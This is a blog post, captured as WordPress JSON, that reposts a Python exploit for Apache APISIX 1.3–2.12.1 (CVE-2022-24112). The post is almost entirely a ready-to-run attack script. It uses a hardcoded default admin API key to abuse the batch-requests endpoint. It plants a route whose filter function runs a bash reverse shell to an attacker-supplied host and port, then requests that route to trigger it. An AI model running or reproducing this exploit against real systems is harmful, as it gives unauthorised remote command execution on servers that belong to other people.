{"id":21862,"date":"2022-03-16T22:08:13","date_gmt":"2022-03-16T19:08:13","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/166328\/apacheapisix2121-exec.txt"},"modified":"2022-03-19T09:40:47","modified_gmt":"2022-03-19T06:10:47","slug":"apache-apisix-2-12-1-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/apache-apisix-2-12-1-remote-code-execution\/","title":{"rendered":"Apache APISIX 2.12.1 Remote Code Execution"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: Apache APISIX 2.12.1 &#8211; Remote Code Execution (RCE)<br \/>\n# Date: 2022-03-16<br \/>\n# Exploit Author: Ven3xy<br \/>\n# Vendor Homepage: https:\/\/apisix.apache.org\/<br \/>\n# Version: Apache APISIX 1.3 \u2013 2.12.1<br \/>\n# Tested on: CentOS 7<br \/>\n# CVE : CVE-2022-24112<\/p>\n<p dir=\"ltr\">import requests<br \/>\nimport sys<\/p>\n<p dir=\"ltr\">class color:<br \/>\nHEADER = &#8216;\\033[95m&#8217;<br \/>\nIMPORTANT = &#8216;\\33[35m&#8217;<br \/>\nNOTICE = &#8216;\\033[33m&#8217;<br \/>\nOKBLUE = &#8216;\\033[94m&#8217;<br \/>\nOKGREEN = &#8216;\\033[92m&#8217;<br \/>\nWARNING = &#8216;\\033[93m&#8217;<br \/>\nRED = &#8216;\\033[91m&#8217;<br \/>\nEND = &#8216;\\033[0m&#8217;<br \/>\nUNDERLINE = &#8216;\\033[4m&#8217;<br \/>\nLOGGING = &#8216;\\33[34m&#8217;<br \/>\ncolor_random=[color.HEADER,color.IMPORTANT,color.NOTICE,color.OKBLUE,color.OKGREEN,color.WARNING,color.RED,color.END,color.UNDERLINE,color.LOGGING]\n<p dir=\"ltr\">def banner():<br \/>\nrun = color_random[6]+&#8221;&#8217;\\n . ,<br \/>\n_.._ * __*\\.\/ ___ _ \\.\/._ | _ *-+-<br \/>\n(_][_)|_) |\/&#8217;\\ (\/,\/&#8217;\\[_)|(_)| |<br \/>\n| |<br \/>\n\\n&#8221;&#8217;<br \/>\nrun2 = color_random[2]+&#8221;&#8217;\\t\\t(CVE-2022-24112)\\n&#8221;&#8217;<br \/>\nrun3 = color_random[4]+&#8221;'{ Coded By: Ven3xy | Github: https:\/\/github.com\/M4xSec\/ }\\n\\n&#8221;&#8217;<br \/>\nprint(run+run2+run3)<\/p>\n<p dir=\"ltr\">if (len(sys.argv) != 4):<br \/>\nbanner()<br \/>\nprint(&#8220;[!] Usage : .\/apisix-exploit.py &lt;target_url&gt; &lt;lhost&gt; &lt;lport&gt;&#8221;)<br \/>\nexit()<\/p>\n<p dir=\"ltr\">else:<br \/>\nbanner()<br \/>\ntarget_url = sys.argv[1]\nlhost = sys.argv[2]\nlport = sys.argv[3]\n<p dir=\"ltr\">headers1 = {<br \/>\n&#8216;Host&#8217;: &#8216;127.0.0.1:8080&#8217;,<br \/>\n&#8216;User-Agent&#8217;: &#8216;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/98.0.4758.81 Safari\/537.36 Edg\/97.0.1072.69&#8217;,<br \/>\n&#8216;X-API-KEY&#8217;: &#8216;edd1c9f034335f136f87ad84b625c8f1&#8217;,<br \/>\n&#8216;Accept&#8217;: &#8216;*\/*&#8217;,<br \/>\n&#8216;Accept-Encoding&#8217;: &#8216;gzip, deflate&#8217;,<br \/>\n&#8216;Content-Type&#8217;: &#8216;application\/json&#8217;,<br \/>\n&#8216;Content-Length&#8217;: &#8216;540&#8217;,<br \/>\n&#8216;Connection&#8217;: &#8216;close&#8217;,<br \/>\n}<\/p>\n<p dir=\"ltr\">headers2 = {<br \/>\n&#8216;Host&#8217;: &#8216;127.0.0.1:8080&#8217;,<br \/>\n&#8216;User-Agent&#8217;: &#8216;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/98.0.4758.81 Safari\/537.36 Edg\/97.0.1072.69&#8217;,<br \/>\n&#8216;X-API-KEY&#8217;: &#8216;edd1c9f034335f136f87ad84b625c8f1&#8217;,<br \/>\n&#8216;Accept&#8217;: &#8216;*\/*&#8217;,<br \/>\n&#8216;Accept-Encoding&#8217;: &#8216;gzip, deflate&#8217;,<br \/>\n&#8216;Content-Type&#8217;: &#8216;application\/json&#8217;,<br \/>\n&#8216;Connection&#8217;: &#8216;close&#8217;,<br \/>\n}<\/p>\n<p dir=\"ltr\">json_data = {<br \/>\n&#8216;headers&#8217;: {<br \/>\n&#8216;X-Real-IP&#8217;: &#8216;127.0.0.1&#8217;,<br \/>\n&#8216;X-API-KEY&#8217;: &#8216;edd1c9f034335f136f87ad84b625c8f1&#8217;,<br \/>\n&#8216;Content-Type&#8217;: &#8216;application\/json&#8217;,<br \/>\n},<br \/>\n&#8216;timeout&#8217;: 1500,<br \/>\n&#8216;pipeline&#8217;: [<br \/>\n{<br \/>\n&#8216;path&#8217;: &#8216;\/apisix\/admin\/routes\/index&#8217;,<br \/>\n&#8216;method&#8217;: &#8216;PUT&#8217;,<br \/>\n&#8216;body&#8217;: &#8216;{&#8220;uri&#8221;:&#8221;\/rms\/fzxewh&#8221;,&#8221;upstream&#8221;:{&#8220;type&#8221;:&#8221;roundrobin&#8221;,&#8221;nodes&#8221;:{&#8220;schmidt-schaefer.com&#8221;:1}},&#8221;name&#8221;:&#8221;wthtzv&#8221;,&#8221;filter_func&#8221;:&#8221;function(vars) os.execute(\\&#8217;bash -c \\\\\\\\\\\\&#8221;0&lt;&amp;160-;exec 160&lt;&gt;\/dev\/tcp\/&#8217;+lhost+&#8217;\/&#8217;+lport+&#8217;;sh &lt;&amp;160 &gt;&amp;160 2&gt;&amp;160\\\\\\\\\\\\&#8221;\\&#8217;); return true end&#8221;}&#8217;,<br \/>\n},<br \/>\n],<br \/>\n}<\/p>\n<p dir=\"ltr\">response1 = requests.post(target_url+&#8217;apisix\/batch-requests&#8217;, headers=headers1, json=json_data, verify=False)<\/p>\n<p dir=\"ltr\">response2 = requests.get(target_url+&#8217;rms\/fzxewh&#8217;, headers=headers2, verify=False)<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Apache APISIX 2.12.1 &#8211; Remote Code Execution (RCE) # Date: 2022-03-16 # Exploit Author: Ven3xy # Vendor Homepage: https:\/\/apisix.apache.org\/ # Version: Apache APISIX 1.3 \u2013 2.12.1 # Tested on: CentOS 7 # CVE : CVE-2022-24112 import requests import sys class color: HEADER = &#8216;\\033[95m&#8217; IMPORTANT = &#8216;\\33[35m&#8217; NOTICE = &#8216;\\033[33m&#8217; OKBLUE = &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-21862","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21862","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=21862"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21862\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=21862"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=21862"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=21862"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}